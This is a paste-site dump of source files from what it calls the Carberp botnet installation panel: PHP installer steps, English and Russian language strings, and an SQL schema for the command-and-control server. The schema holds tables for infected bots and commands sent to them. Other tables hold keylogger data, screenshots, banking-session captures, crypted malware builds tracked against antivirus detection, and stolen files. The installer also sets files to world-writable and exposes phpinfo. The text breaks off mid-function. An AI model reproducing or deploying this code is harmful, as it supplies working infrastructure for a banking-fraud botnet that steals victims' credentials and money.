Carberp botnet installtion panel


SUBMITTED BY: Guest

DATE: Jan. 12, 2014, 7:23 p.m.

FORMAT: PHP

SIZE: 49.2 kB

HITS: 1261

  1. </body>
  2. </html>
  3. -------------------------------------------------------------------------------------NEXT FILE
  4. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  5. <html xmlns="http://www.w3.org/1999/xhtml">
  6. <head>
  7. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  8. <title><?php echo $lang['install']; ?></title>
  9. <link href="/css/install.css" rel="stylesheet" type="text/css" />
  10. <script language="javascript" type="application/javascript" src="/js/install.js"></script>
  11. </head>
  12. <body>
  13. ------------------------------------------------------------------------------------NEXT FILE
  14. <?php
  15. error_reporting(0);
  16. if(@$_GET['to'] != 'install' && @$_GET['go'] != 'index'){
  17. header('Location: /');
  18. exit;
  19. }
  20. if(file_exists('cache/install')){
  21. header('Location: /login/');
  22. exit;
  23. }
  24. session_start();
  25. if(!empty($_GET['lang'])){
  26. $_SESSION['lang'] = $_GET['lang'];
  27. header('Location: /install/index.html?step=1');
  28. exit;
  29. }
  30. if(empty($_SESSION['lang'])) $_SESSION['lang'] = 'en';
  31. if(!file_exists('scripts/install/language.'.$_SESSION['lang'].'.php')) $_SESSION['lang'] = 'en';
  32. include_once('scripts/install/language.'.$_SESSION['lang'].'.php');
  33. include('header.php');
  34. ?>
  35. <table border="0" cellspacing="0" cellpadding="0" id="table_content">
  36. <tr><td><?php echo $lang['install']; ?><br /><br /></td></tr>
  37. <tr><td>
  38. <div align="center">
  39. <div id="main_block">
  40. <?php
  41. if(!empty($_GET['step'])) $_SESSION['step'] = $_GET['step'];
  42. switch($_SESSION['step']){
  43. case '1':
  44. include('step1.php');
  45. break;
  46. case '2':
  47. include('step2.php');
  48. break;
  49. case '3':
  50. include('step3.php');
  51. break;
  52. case '4':
  53. include('step4.php');
  54. break;
  55. case '5':
  56. include('step5.php');
  57. break;
  58. default:
  59. include('step0.php');
  60. break;
  61. }
  62. ?>
  63. </div>
  64. </div>
  65. </td></tr>
  66. <tr><td><br /><br /><a href="http://<?php print($_SERVER['HTTP_HOST']); ?>/install/info.html" target="_blank" style="text-decoration:none;color:#000">PHPINFO</a></td></tr>
  67. <tr><td><br /><br /><?php echo $lang['ip']; ?>: <?php print($_SERVER['REMOTE_ADDR']); ?></td></tr>
  68. </table>
  69. <?
  70. include('footer.php');
  71. ?>
  72. -------------------------------------------------------------------------------------next file
  73. <?php
  74. if(file_exists('cache/install')){
  75. header('Location: /login/');
  76. exit;
  77. }
  78. phpinfo();
  79. ?>
  80. ---------------------------------------------------------------------------------next file
  81. SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
  82. SET time_zone = "+00:00";
  83. /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
  84. /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
  85. /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
  86. /*!40101 SET NAMES utf8 */;
  87. DROP TABLE IF EXISTS `bf_bots`;
  88. CREATE TABLE `bf_bots` (
  89. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  90. `prefix` varchar(20) NOT NULL,
  91. `uid` varchar(34) NOT NULL,
  92. `country` varchar(10) NOT NULL,
  93. `os` varchar(128) DEFAULT NULL,
  94. `admin` enum('0','1') NOT NULL DEFAULT '0',
  95. `ip` varchar(32) NOT NULL,
  96. `cmd` varchar(255) NOT NULL,
  97. `cmd_history` text NOT NULL,
  98. `notask` int(11) unsigned NOT NULL DEFAULT '0',
  99. `tracking` enum('0','1') NOT NULL DEFAULT '0',
  100. `ver` varchar(8) NOT NULL DEFAULT '0',
  101. `min_post` int(11) unsigned NOT NULL,
  102. `max_post` int(11) unsigned NOT NULL,
  103. `post_id` int(11) unsigned DEFAULT NULL,
  104. `last_date` int(11) unsigned NOT NULL,
  105. `post_date` int(15) unsigned NOT NULL,
  106. PRIMARY KEY (`id`),
  107. UNIQUE KEY `bot` (`prefix`,`uid`),
  108. KEY `country` (`country`),
  109. KEY `prefix` (`prefix`),
  110. KEY `os` (`os`,`admin`)
  111. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  112. DROP TABLE IF EXISTS `bf_bots_av`;
  113. CREATE TABLE `bf_bots_av` (
  114. `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  115. `prefix` varchar(20) NOT NULL,
  116. `uid` varchar(33) NOT NULL,
  117. `av` varchar(64) NOT NULL,
  118. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  119. PRIMARY KEY (`id`),
  120. UNIQUE KEY `prefix` (`prefix`,`uid`,`av`)
  121. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  122. DROP TABLE IF EXISTS `bf_bots_ip`;
  123. CREATE TABLE `bf_bots_ip` (
  124. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  125. `prefix` varchar(20) NOT NULL,
  126. `uid` varchar(34) NOT NULL,
  127. `ip` varchar(32) NOT NULL,
  128. `country` varchar(10) NOT NULL,
  129. `post_id` int(11) unsigned DEFAULT NULL,
  130. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  131. PRIMARY KEY (`id`),
  132. UNIQUE KEY `uniq` (`prefix`,`uid`,`ip`),
  133. KEY `bot` (`prefix`,`uid`)
  134. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  135. DROP TABLE IF EXISTS `bf_bots_p2p`;
  136. CREATE TABLE `bf_bots_p2p` (
  137. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  138. `prefix` varchar(20) NOT NULL,
  139. `uid` varchar(34) NOT NULL,
  140. `ip` varchar(32) NOT NULL,
  141. `port` smallint(5) unsigned NOT NULL,
  142. `status` tinyint(3) unsigned NOT NULL,
  143. `send_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
  144. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  145. PRIMARY KEY (`id`),
  146. UNIQUE KEY `uniq` (`prefix`,`uid`)
  147. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  148. DROP TABLE IF EXISTS `bf_builds`;
  149. CREATE TABLE `bf_builds` (
  150. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  151. `file_orig` varchar(128) NOT NULL,
  152. `file_crypt` varchar(128) NOT NULL,
  153. `link` text NOT NULL,
  154. `md5` varchar(32) NOT NULL,
  155. `md5_crypt` varchar(32) NOT NULL,
  156. `status` tinyint(3) unsigned NOT NULL DEFAULT '0',
  157. `prio` float unsigned NOT NULL DEFAULT '0',
  158. `type` enum('0','1','2','3','4','5') NOT NULL,
  159. `av` text NOT NULL,
  160. `avt` text NOT NULL,
  161. `avcs` text NOT NULL,
  162. `avc` int(11) unsigned NOT NULL DEFAULT '0',
  163. `avcf` int(11) unsigned NOT NULL DEFAULT '0',
  164. `history` blob NOT NULL,
  165. `up_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  166. `post_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
  167. PRIMARY KEY (`id`),
  168. UNIQUE KEY `md5` (`md5`,`type`),
  169. KEY `type` (`type`)
  170. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  171. DROP TABLE IF EXISTS `bf_cabs`;
  172. CREATE TABLE `bf_cabs` (
  173. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  174. `prefix` varchar(20) NOT NULL,
  175. `uid` varchar(34) NOT NULL,
  176. `country` varchar(3) NOT NULL DEFAULT 'UNK',
  177. `ip` varchar(16) NOT NULL,
  178. `file` varchar(64) NOT NULL,
  179. `size` varchar(64) NOT NULL,
  180. `type` varchar(32) NOT NULL,
  181. `trash` enum('0','1') NOT NULL DEFAULT '0',
  182. `ready` int(1) unsigned NOT NULL DEFAULT '0',
  183. `parts` int(11) unsigned NOT NULL,
  184. `partc` int(11) unsigned NOT NULL,
  185. `chk` enum('0','1') NOT NULL DEFAULT '0',
  186. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  187. PRIMARY KEY (`id`),
  188. KEY `prefix` (`prefix`),
  189. KEY `post_date` (`post_date`),
  190. KEY `type` (`type`),
  191. KEY `bot` (`prefix`,`uid`)
  192. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  193. DROP TABLE IF EXISTS `bf_cabs_parts`;
  194. CREATE TABLE `bf_cabs_parts` (
  195. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  196. `part` text NOT NULL,
  197. `size` varchar(64) NOT NULL,
  198. `count` smallint(11) unsigned NOT NULL,
  199. `post_id` int(11) unsigned NOT NULL DEFAULT '0',
  200. PRIMARY KEY (`id`)
  201. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  202. DROP TABLE IF EXISTS `bf_cmds`;
  203. CREATE TABLE `bf_cmds` (
  204. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  205. `prefix` text NOT NULL,
  206. `country` text NOT NULL,
  207. `online` enum('1','2','3') NOT NULL DEFAULT '1',
  208. `cmd` text,
  209. `lt` enum('1','2') NOT NULL DEFAULT '1',
  210. `count` int(11) unsigned DEFAULT '0',
  211. `max` int(11) unsigned NOT NULL DEFAULT '0',
  212. `enable` enum('0','1') NOT NULL DEFAULT '1',
  213. `dev` enum('0','1') NOT NULL DEFAULT '0',
  214. `str` text NOT NULL,
  215. `post_id` int(11) unsigned NOT NULL,
  216. `post_date` int(15) unsigned NOT NULL,
  217. PRIMARY KEY (`id`),
  218. KEY `post_id` (`post_id`),
  219. KEY `online` (`online`)
  220. ) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
  221. DROP TABLE IF EXISTS `bf_comments`;
  222. CREATE TABLE `bf_comments` (
  223. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  224. `prefix` varchar(20) NOT NULL,
  225. `uid` varchar(34) NOT NULL,
  226. `uniq` varchar(32) DEFAULT NULL,
  227. `comment` varchar(128) NOT NULL,
  228. `type` varchar(32) NOT NULL,
  229. `post_id` int(11) unsigned NOT NULL,
  230. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  231. PRIMARY KEY (`id`),
  232. KEY `type` (`type`)
  233. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  234. DROP TABLE IF EXISTS `bf_country`;
  235. CREATE TABLE `bf_country` (
  236. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  237. `code` varchar(16) NOT NULL,
  238. PRIMARY KEY (`id`),
  239. UNIQUE KEY `code` (`code`)
  240. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  241. DROP TABLE IF EXISTS `bf_domains`;
  242. CREATE TABLE `bf_domains` (
  243. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  244. `host` varchar(128) NOT NULL,
  245. `status` enum('0','1','2') NOT NULL DEFAULT '0',
  246. `av` text NOT NULL,
  247. `avt` text NOT NULL,
  248. `avc` int(11) unsigned NOT NULL DEFAULT '0',
  249. `avcf` int(11) unsigned NOT NULL DEFAULT '0',
  250. `answer` enum('0','1') NOT NULL DEFAULT '0',
  251. `comment` varchar(128) NOT NULL,
  252. `up_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  253. `post_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
  254. PRIMARY KEY (`id`),
  255. UNIQUE KEY `host` (`host`)
  256. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  257. DROP TABLE IF EXISTS `bf_filters`;
  258. CREATE TABLE `bf_filters` (
  259. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  260. `name` varchar(128) NOT NULL,
  261. `fields` text NOT NULL,
  262. `host` text,
  263. `save_log` enum('0','1') NOT NULL DEFAULT '0',
  264. `parent_id` text NOT NULL,
  265. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  266. PRIMARY KEY (`id`)
  267. ) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
  268. DROP TABLE IF EXISTS `bf_filters_files`;
  269. CREATE TABLE `bf_filters_files` (
  270. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  271. `file` varchar(18) NOT NULL,
  272. `type` tinyint(11) unsigned NOT NULL,
  273. `size` int(11) unsigned NOT NULL,
  274. `import` enum('0','1') NOT NULL DEFAULT '0',
  275. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  276. PRIMARY KEY (`id`),
  277. UNIQUE KEY `ftype` (`file`,`type`),
  278. KEY `itype` (`type`,`import`)
  279. ) ENGINE=MyISAM DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;
  280. DROP TABLE IF EXISTS `bf_ibank_gra`;
  281. CREATE TABLE `bf_ibank_gra` (
  282. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  283. `prefix` varchar(20) NOT NULL,
  284. `uid` varchar(34) NOT NULL,
  285. `pid` mediumint(11) unsigned NOT NULL,
  286. `host` varchar(128) NOT NULL DEFAULT 'unknow',
  287. `hwnd` int(11) unsigned NOT NULL,
  288. `keyhwnd` text NOT NULL,
  289. `grp` varchar(32) NOT NULL,
  290. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  291. PRIMARY KEY (`id`),
  292. KEY `bot` (`prefix`,`uid`),
  293. KEY `item` (`prefix`,`uid`,`pid`,`hwnd`),
  294. KEY `grp` (`grp`)
  295. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  296. DROP TABLE IF EXISTS `bf_keylog`;
  297. CREATE TABLE `bf_keylog` (
  298. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  299. `name` varchar(128) NOT NULL,
  300. `hash` varchar(32) NOT NULL,
  301. `post_id` int(11) unsigned NOT NULL,
  302. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  303. PRIMARY KEY (`id`),
  304. KEY `hash` (`hash`)
  305. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  306. DROP TABLE IF EXISTS `bf_keylog_data`;
  307. CREATE TABLE `bf_keylog_data` (
  308. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  309. `prefix` varchar(20) NOT NULL,
  310. `uid` varchar(34) NOT NULL,
  311. `hash` varchar(64) NOT NULL,
  312. `shash` varchar(64) NOT NULL,
  313. `data` text NOT NULL,
  314. `trash` enum('0','1') NOT NULL DEFAULT '0',
  315. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  316. PRIMARY KEY (`id`),
  317. UNIQUE KEY `item` (`prefix`,`uid`,`hash`,`shash`),
  318. KEY `hash` (`hash`),
  319. KEY `shash` (`shash`),
  320. KEY `trash` (`trash`),
  321. KEY `bot` (`prefix`,`uid`),
  322. KEY `bot_hash` (`hash`,`shash`)
  323. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  324. DROP TABLE IF EXISTS `bf_links`;
  325. CREATE TABLE `bf_links` (
  326. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  327. `link` varchar(128) NOT NULL,
  328. `dev` enum('0','1') NOT NULL,
  329. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  330. PRIMARY KEY (`id`)
  331. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  332. DROP TABLE IF EXISTS `bf_logs`;
  333. CREATE TABLE `bf_logs` (
  334. `id` int(11) NOT NULL AUTO_INCREMENT,
  335. `prefix` varchar(20) NOT NULL,
  336. `uid` varchar(34) NOT NULL,
  337. `url` varchar(255) NOT NULL,
  338. `data` text NOT NULL,
  339. `brw` varchar(16) NOT NULL,
  340. `protocol` varchar(16) NOT NULL,
  341. `ip` varchar(16) NOT NULL,
  342. `country` varchar(3) NOT NULL,
  343. `type` int(1) NOT NULL,
  344. `download` int(11) NOT NULL DEFAULT '0',
  345. `hour` tinyint(4) NOT NULL,
  346. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  347. PRIMARY KEY (`id`),
  348. KEY `download` (`download`),
  349. KEY `bot` (`prefix`,`uid`),
  350. KEY `hour` (`hour`)
  351. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  352. DROP TABLE IF EXISTS `bf_process`;
  353. CREATE TABLE `bf_process` (
  354. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  355. `prefix` varchar(20) NOT NULL,
  356. `uid` varchar(34) NOT NULL,
  357. `plist` text NOT NULL,
  358. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  359. PRIMARY KEY (`id`),
  360. UNIQUE KEY `bot` (`prefix`,`uid`)
  361. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  362. DROP TABLE IF EXISTS `bf_process_stats`;
  363. CREATE TABLE `bf_process_stats` (
  364. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  365. `name` varchar(64) NOT NULL,
  366. `count` int(99) NOT NULL DEFAULT '0',
  367. PRIMARY KEY (`id`),
  368. UNIQUE KEY `name` (`name`),
  369. KEY `count` (`count`)
  370. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  371. DROP TABLE IF EXISTS `bf_screens`;
  372. CREATE TABLE `bf_screens` (
  373. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  374. `prefix` varchar(20) NOT NULL,
  375. `uid` varchar(34) NOT NULL,
  376. `desc` varchar(128) NOT NULL,
  377. `file` varchar(64) NOT NULL,
  378. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  379. PRIMARY KEY (`id`),
  380. KEY `prefix` (`prefix`),
  381. KEY `post_date` (`post_date`),
  382. KEY `bot` (`prefix`,`uid`)
  383. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  384. DROP TABLE IF EXISTS `bf_screens_logs`;
  385. CREATE TABLE `bf_screens_logs` (
  386. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  387. `prefix` varchar(20) NOT NULL,
  388. `uid` varchar(34) NOT NULL,
  389. `desc` text NOT NULL,
  390. `type` varchar(32) NOT NULL,
  391. `file` varchar(64) NOT NULL,
  392. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  393. PRIMARY KEY (`id`),
  394. KEY `prefix` (`prefix`),
  395. KEY `post_date` (`post_date`),
  396. KEY `bot` (`prefix`,`uid`)
  397. ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
  398. DROP TABLE IF EXISTS `bf_users`;
  399. CREATE TABLE `bf_users` (
  400. `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  401. `login` varchar(100) NOT NULL,
  402. `password` varchar(100) NOT NULL,
  403. `PHPSESSID` varchar(100) DEFAULT NULL,
  404. `expiry_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
  405. `config` longtext NOT NULL,
  406. `access` longtext NOT NULL,
  407. `info` longtext,
  408. `enable` enum('0','1') DEFAULT '0',
  409. `enter_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
  410. `update_date` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
  411. `post_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  412. PRIMARY KEY (`id`),
  413. KEY `user` (`login`,`password`),
  414. KEY `autorize` (`login`,`password`,`PHPSESSID`,`enable`)
  415. ) ENGINE=MyISAM DEFAULT CHARSET=utf8 PACK_KEYS=0 ROW_FORMAT=DYNAMIC;
  416. /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
  417. /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
  418. /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
  419. ------------------------------------------------------------------------------------next file
  420. <?php
  421. //$lang[''] = '';
  422. $lang['install'] = 'Installation';
  423. $lang['ip'] = 'Your IP';
  424. $lang['cs'] = 'Software check';
  425. $lang['vp'] = 'PHP Version';
  426. $lang['module'] = 'Module';
  427. $lang['nw'] = 'not work';
  428. $lang['wo'] = 'work';
  429. $lang['io'] = 'Installed (compiled)';
  430. $lang['ev'] = 'Installed (portable)';
  431. $lang['ni'] = 'Not installed';
  432. $lang['in'] = 'Installed';
  433. $lang['fu'] = 'Function';
  434. $lang['ot'] = 'absence';
  435. $lang['pn'] = 'Continuation is impossible';
  436. $lang['nk'] = 'Not all components are installed or correspond to requirements';
  437. $lang['next'] = 'Continue';
  438. $lang['py'] = 'Check and edit rights';
  439. $lang['nd'] = 'no write access, installation impossible.';
  440. $lang['pf'] = 'Access rights on folders and files are established.';
  441. $lang['nm'] = 'Setup MySQLi';
  442. $lang['myi'] = 'MySQLi connected and configured.';
  443. $lang['pnr'] = 'User has no rights to data record in a file.';
  444. $lang['nsp'] = 'Can not create procedure/function';
  445. $lang['npm'] = 'Can not connect to MySQL server';
  446. $lang['ads'] = 'Server address';
  447. $lang['pol'] = 'User';
  448. $lang['pas'] = 'Password';
  449. $lang['bad'] = 'Database';
  450. $lang['dcz'] = 'Add cron jobs';
  451. $lang['ndc'] = 'can not add cron job';
  452. $lang['vns'] = 'Execute on the server:';
  453. $lang['znf'] = 'and then push in browser F5 or skip this action.';
  454. $lang['skip'] = 'Skip';
  455. $lang['zcd'] = 'Jobs in cron added.';
  456. $lang['ps'] = 'Last steps';
  457. $lang['zav'] = 'Completed!';
  458. $lang['aut'] = 'Log in';
  459. $lang['ss'] = 'Social networks';
  460. $lang['es'] = 'Email sites';
  461. $lang['pls'] = 'Payment systems';
  462. $lang['trs'] = 'Torrent sites';
  463. $lang['fs'] = 'Fileshare sites';
  464. $lang['drsa'] = 'Other sites';
  465. $lang['drsi'] = 'Other systems';
  466. $lang['mej'] = 'International';
  467. $lang['sng'] = 'CIS';
  468. ?>
  469. ------------------------------------------------------------------------------------next file
  470. <?php
  471. //$lang[''] = '';
  472. $lang['install'] = 'Установка';
  473. $lang['ip'] = 'Ваш IP';
  474. $lang['cs'] = 'Проверка софта';
  475. $lang['vp'] = 'Версия PHP';
  476. $lang['module'] = 'Модуль';
  477. $lang['nw'] = 'не работает';
  478. $lang['wo'] = 'работает';
  479. $lang['io'] = 'Установлен (откомпилированный)';
  480. $lang['ev'] = 'Есть (выносной)';
  481. $lang['ni'] = 'Не установлен';
  482. $lang['in'] = 'Установлен';
  483. $lang['fu'] = 'Функция';
  484. $lang['ot'] = 'отсутствие';
  485. $lang['pn'] = 'Продолжение невозможно';
  486. $lang['nk'] = 'Не все компоненты установлены или соответствуют требованиям';
  487. $lang['next'] = 'Продолжить';
  488. $lang['py'] = 'Проверка и установка прав';
  489. $lang['nd'] = 'нет доступа на запись, установить невозможно.';
  490. $lang['pf'] = 'Права доступа на папки и файлы установлены.';
  491. $lang['nm'] = 'Настройка MySQLi';
  492. $lang['myi'] = 'MySQLi подключено и настроенно.';
  493. $lang['pnr'] = 'Пользователь не имеет прав на запись данных в файл.';
  494. $lang['npm'] = 'Не могу подключится к MySQL серверу';
  495. $lang['nsp'] = 'Не могу создать процедуру/функцию';
  496. $lang['ads'] = 'Адресс сервера';
  497. $lang['pol'] = 'Пользователь';
  498. $lang['pas'] = 'Пароль';
  499. $lang['bad'] = 'БазаДанных';
  500. $lang['dcz'] = 'Добавление крон заданий';
  501. $lang['ndc'] = 'Не могу добавить крон задания.';
  502. $lang['vns'] = 'Выполните на сервере:';
  503. $lang['znf'] = 'и затем нажмите в браузере F5 или пропустите данное действие.';
  504. $lang['skip'] = 'Пропустить';
  505. $lang['zcd'] = 'Задания в крон добавлены.';
  506. $lang['ps'] = 'Последние шаги';
  507. $lang['zav'] = 'Завершено.';
  508. $lang['aut'] = 'Авторизоваться';
  509. $lang['ss'] = 'Социальные сети';
  510. $lang['es'] = 'Емаил сайты';
  511. $lang['pls'] = 'Платежные системы';
  512. $lang['trs'] = 'Торрент сайты';
  513. $lang['fs'] = 'Файлообменные сайты';
  514. $lang['drsa'] = 'Другие сайты';
  515. $lang['drsi'] = 'Другие системы';
  516. $lang['mej'] = 'Международные';
  517. $lang['sng'] = 'СНГ';
  518. ?>
  519. -------------------------------------------------------------------------------------next file
  520. <?php
  521. if($_GET['go'] != 'index') exit;
  522. ?>
  523. <form action="/install/index.html" metod="GET">
  524. <input type="hidden" name="step" value="0" />
  525. <br /><br />
  526. Select language:
  527. <br /><br />
  528. <select name="lang">
  529. <option value="en">English</option>
  530. <option value="ru">Russian</option>
  531. </select>
  532. <br /><br />
  533. <input type="submit" value="OK" />
  534. </form>
  535. ---------------------------------------------------------------------------------next file
  536. "<?php echo $lang['cs']; ?>"
  537. <br /><br />
  538. <?php
  539. if($_GET['go'] != 'index') exit;
  540. ?>
  541. <?php echo $lang['vp']; ?>:
  542. <?php
  543. $ver = explode('.', phpversion());
  544. if(version_compare(phpversion(), '5.3.3', '>=') == true){
  545. echo phpversion();
  546. }else{
  547. $INSTALL = true;
  548. echo '<span style="color:red">'.phpversion().'</span>';
  549. }
  550. ?>
  551. <hr />
  552. WebServer - <?php echo $lang['module']; ?> mod_xsendfile:
  553. <?php
  554. if(!is_writable('cache/')) @chmod('cache/', '777');
  555. if(preg_match('~lighttpd~', strtolower($_SERVER['SERVER_SOFTWARE'])) == true){
  556. echo $lang['in'];
  557. }elseif(preg_match('~apache~', strtolower($_SERVER['SERVER_SOFTWARE'])) == true){
  558. $am = apache_get_modules();
  559. if($am[array_search('mod_xsendfile', $am)] == 'mod_xsendfile'){
  560. echo $lang['in'];
  561. }else{
  562. echo ' <span style="color:red">'.$lang['ni'].'</span>';
  563. }
  564. }
  565. $check_download = @file_get_contents('http://' . $_SERVER["HTTP_HOST"] . '/accounts/check_download.html');
  566. if(strlen($check_download) != 32){
  567. $INSTALL = true;
  568. echo ' <span style="color:red">('.$lang['nw'].')</span>';
  569. }else{
  570. echo ' ('.$lang['wo'].')';
  571. }
  572. ?>
  573. <hr />
  574. PHP - <?php echo $lang['module']; ?> GeoIP Country:
  575. <?php
  576. if(extension_loaded ('geoip')){
  577. echo $lang['io'];
  578. }else{
  579. if(file_exists('cache/geoip/') && file_exists('cache/geoip/geoip.inc') && file_exists('cache/geoip/GeoIP.dat')){
  580. echo $lang['ev'];
  581. }else{
  582. $INSTALL = true;
  583. echo '<span style="color:red">'.$lang['ni'].'</span>';
  584. }
  585. }
  586. ?>
  587. <hr />
  588. PHP - <?php echo $lang['module']; ?> MySQLi:
  589. <?php
  590. if(extension_loaded ('mysqli')){
  591. echo $lang['in'];
  592. }else{
  593. $INSTALL = true;
  594. echo '<span style="color:red">'.$lang['ni'].'</span>';
  595. }
  596. ?>
  597. <hr />
  598. PHP - Модуль Zip:
  599. <?php
  600. if(extension_loaded ('zip')){
  601. echo $lang['in'];
  602. }else{
  603. $INSTALL = true;
  604. echo '<span style="color:red">'.$lang['ni'].'</span>';
  605. }
  606. ?>
  607. <hr />
  608. PHP - <?php echo $lang['module']; ?> Pcntl:
  609. <?php
  610. $ret = exec('/usr/bin/env php -m | grep pcntl');
  611. if($ret == 'pcntl'){
  612. echo $lang['in'];
  613. }else{
  614. $INSTALL = true;
  615. echo '<span style="color:red">'.$lang['ni'].'</span>';
  616. }
  617. ?>
  618. <hr />
  619. <?php
  620. $func = array();
  621. $func[] = 'base64_encode';
  622. $func[] = 'base64_decode';
  623. $func[] = 'gzdeflate';
  624. $func[] = 'gzinflate';
  625. $func[] = 'pack';
  626. $func[] = 'json_encode';
  627. $func[] = 'json_decode';
  628. $func[] = 'dirname';
  629. $func[] = 'mysqli_init';
  630. $func[] = 'openssl_encrypt';
  631. $func[] = 'openssl_decrypt';
  632. $func[] = 'mb_convert_encoding';
  633. //$func[] = 'pcntl_fork';
  634. if(count($func) > 0){
  635. foreach($func as $value){
  636. if(!function_exists($value)){
  637. $INSTALL = true;
  638. //if($_GET['func'] == 1)
  639. echo 'PHP - '.$lang['fu'].' '.$value.': <span style="color:red">'.$lang['ot'].'</span><hr />';
  640. }else{
  641. //if($_GET['func'] == 1) echo 'PHP - Функция '.$value.': есть<hr />';
  642. }
  643. }
  644. }
  645. ?>
  646. <br />
  647. <?php
  648. if($INSTALL != true){
  649. ?>
  650. <input type="button" value="<?php echo $lang['next']; ?>" onclick="location = '/install/index.html?step=2';" />
  651. <?php
  652. }else{
  653. ?>
  654. <?php echo $lang['pn']; ?><br /><br />"<span style="color:red"><?php echo $lang['nk']; ?></span>"!
  655. <?php
  656. }
  657. ?>
  658. --------------------------------------------------------------------------------------next file
  659. "<?php echo $lang['py']; ?>"
  660. <br /><br />
  661. <?php
  662. if($_GET['go'] != 'index') exit;
  663. $INSTALL = false;
  664. define(__DIR__, str_replace(DIRECTORY_SEPARATOR . 'scripts' . DIRECTORY_SEPARATOR . 'install', '', dirname(__FILE__)));
  665. function recurse($dir){
  666. global $INSTALL, $lang;
  667. if(is_file($dir)){
  668. if(basename($dir) != '.htaccess' && basename($dir) != '.' && basename($dir) != '..'){
  669. if(!is_writable($dir)){
  670. if(!@chmod($dir, '777')){
  671. $INSTALL = true;
  672. echo $dir . ': <span style="color:red">'.$lang['nd'].'</span><hr />';
  673. }
  674. }
  675. }
  676. }elseif(is_dir($dir)){
  677. $d = scandir($dir);
  678. foreach($d as $value){
  679. if($value != '.htaccess' && $value != '.' && $value != '..'){
  680. if(!is_writable($dir . $value)){
  681. if(!@chmod($dir . $value, '777')){
